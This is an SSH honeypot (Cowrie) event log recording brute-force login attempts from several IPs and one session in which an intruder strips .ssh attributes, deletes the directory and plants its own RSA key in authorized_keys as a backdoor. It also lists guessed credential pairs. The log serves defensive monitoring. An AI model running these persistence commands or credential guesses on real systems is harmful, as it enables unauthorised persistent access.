{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:01.818652Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:01.823000Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:02.021096Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:02.432809Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:02.437359Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:02.630037Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:02.634324Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":42968,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e4ef1511776","protocol":"ssh","message":"New connection: 23.249.28.115:42968 (10.17.0.5:22) [session: 7e4ef1511776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:02.813131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:02.817787Z","src_ip":"23.249.28.115","session":"7e4ef1511776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:03.004714Z","src_ip":"23.249.28.115","session":"7e4ef1511776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:03.785534Z","src_ip":"23.249.28.115","session":"7e4ef1511776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:04.976606Z","src_ip":"23.249.28.115","session":"7e4ef1511776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":42978,"dst_ip":"10.17.0.5","dst_port":22,"session":"96c09b7f07ed","protocol":"ssh","message":"New connection: 23.249.28.115:42978 (10.17.0.5:22) [session: 96c09b7f07ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:05.159207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:05.163560Z","src_ip":"23.249.28.115","session":"96c09b7f07ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:05.350368Z","src_ip":"23.249.28.115","session":"96c09b7f07ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:06.127458Z","src_ip":"23.249.28.115","session":"96c09b7f07ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:06.320383Z","src_ip":"23.249.28.115","session":"1ed337d696bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:06.337234Z","src_ip":"23.249.28.115","session":"96c09b7f07ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.70.1.128","src_port":41286,"dst_ip":"159.203.135.109","dst_port":22,"session":"ace6877c8e07","protocol":"ssh","message":"New connection: 111.70.1.128:41286 (159.203.135.109:22) [session: ace6877c8e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:42.739031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:46.097829Z","src_ip":"111.70.1.128","session":"ace6877c8e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":52524,"dst_ip":"159.203.135.109","dst_port":22,"session":"450151bc5a8c","protocol":"ssh","message":"New connection: 172.187.200.190:52524 (159.203.135.109:22) [session: 450151bc5a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:47.907029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:47.911308Z","src_ip":"172.187.200.190","session":"450151bc5a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:47.995818Z","src_ip":"172.187.200.190","session":"450151bc5a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitcoin1","password":"bitcoin12018!","message":"login attempt [bitcoin1/bitcoin12018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:48.166617Z","src_ip":"172.187.200.190","session":"450151bc5a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:49.252708Z","src_ip":"172.187.200.190","session":"450151bc5a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.70.1.128","src_port":41276,"dst_ip":"159.203.135.109","dst_port":22,"session":"540e98f49d68","protocol":"ssh","message":"New connection: 111.70.1.128:41276 (159.203.135.109:22) [session: 540e98f49d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:55.367137Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:55:55.681110Z","src_ip":"111.70.1.128","session":"540e98f49d68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":39044,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1ed49e8565","protocol":"ssh","message":"New connection: 34.81.72.185:39044 (159.203.135.109:22) [session: ec1ed49e8565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:11.919390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:11.923735Z","src_ip":"34.81.72.185","session":"ec1ed49e8565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:12.115748Z","src_ip":"34.81.72.185","session":"ec1ed49e8565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bounce","password":"bounce123","message":"login attempt [bounce/bounce123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:12.915170Z","src_ip":"34.81.72.185","session":"ec1ed49e8565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:14.110059Z","src_ip":"34.81.72.185","session":"ec1ed49e8565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":42204,"dst_ip":"159.203.135.109","dst_port":22,"session":"70a9bfc3e4c3","protocol":"ssh","message":"New connection: 131.161.249.165:42204 (159.203.135.109:22) [session: 70a9bfc3e4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:17.670531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:17.674888Z","src_ip":"131.161.249.165","session":"70a9bfc3e4c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:17.883014Z","src_ip":"131.161.249.165","session":"70a9bfc3e4c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tst","password":"123456","message":"login attempt [tst/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:18.369952Z","src_ip":"131.161.249.165","session":"70a9bfc3e4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:19.495913Z","src_ip":"131.161.249.165","session":"70a9bfc3e4c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37230,"dst_ip":"10.17.0.5","dst_port":22,"session":"821b2ee1abdc","protocol":"ssh","message":"New connection: 195.178.110.218:37230 (10.17.0.5:22) [session: 821b2ee1abdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:21.092173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:21.096341Z","src_ip":"195.178.110.218","session":"821b2ee1abdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:21.175330Z","src_ip":"195.178.110.218","session":"821b2ee1abdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:21.414300Z","src_ip":"195.178.110.218","session":"821b2ee1abdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:22.495800Z","src_ip":"195.178.110.218","session":"821b2ee1abdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.236.134","src_port":45572,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead6918afc79","protocol":"ssh","message":"New connection: 118.194.236.134:45572 (10.17.0.5:22) [session: ead6918afc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:46.261079Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003f\\x86\\x94\\xc38_}r \u0014\\xd0\u0005\\x98E~","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003f\\x86\\x94\\xc38_}r \u0014\\xd0\u0005\\x98E~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:46.265022Z","src_ip":"118.194.236.134","session":"ead6918afc79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:56:46.268068Z","src_ip":"118.194.236.134","session":"ead6918afc79","protocol":"ssh"}
